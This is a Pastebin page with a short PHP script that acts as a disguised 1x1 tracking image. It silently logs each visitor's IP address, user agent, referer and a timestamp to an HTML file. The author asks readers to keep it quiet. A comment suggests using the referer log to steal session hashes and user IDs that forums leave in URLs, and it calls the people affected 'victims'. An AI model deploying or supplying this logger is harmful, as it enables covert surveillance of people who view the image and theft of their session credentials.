Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- .:Made by t3hmadhtt3r -- [email protected]:.
- .:Please don't share! Keep this quiet!:.
- .:Please be safe:.
- .:Enjoy!:.
- */
- // Defining Variables
- $IP = $_SERVER['REMOTE_ADDR']; // Saves the IP
- $UA = $_SERVER['HTTP_USER_AGENT']; // Saves the User Agent
- $RE = $_SERVER['HTTP_REFERER']; // Saves the Referer
- $DATE = date('l jS \of F Y h:i:s A');
- $DATA = '<p>IP: '.$IP.'<br/><p>User Agent: '.$UA.'<br/><p>Referer: '.$RE.'<br/><p>Date: '.$DATE.'<br/><br/><br/>';
- /*PS: Try using the referer logging feature to exploit forums and sites that keep useful info in the URL. Example: HTTP://WWW.LAMESITE.COM/POST.PHP?ID=4&HASH=(THE VICTIMS MD5 HASH)&USER=t3hmadhatt3r*/
- // Writing the logs
- $fp = fopen('Cool_Huh?.html', 'a');
- fwrite($fp, $DATA);
- fclose($fp);
- // Behold the mighty GD Library ^_^
- header("Content-type: image/png");
- $img = ImageCreate (1, 1);
- $bg = ImageColorAllocate ($img, 0, 0, 0);
- $txt = ImageColorAllocate ($img, 0, 0, 0);
- ImagePng($img);
- // Later...
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement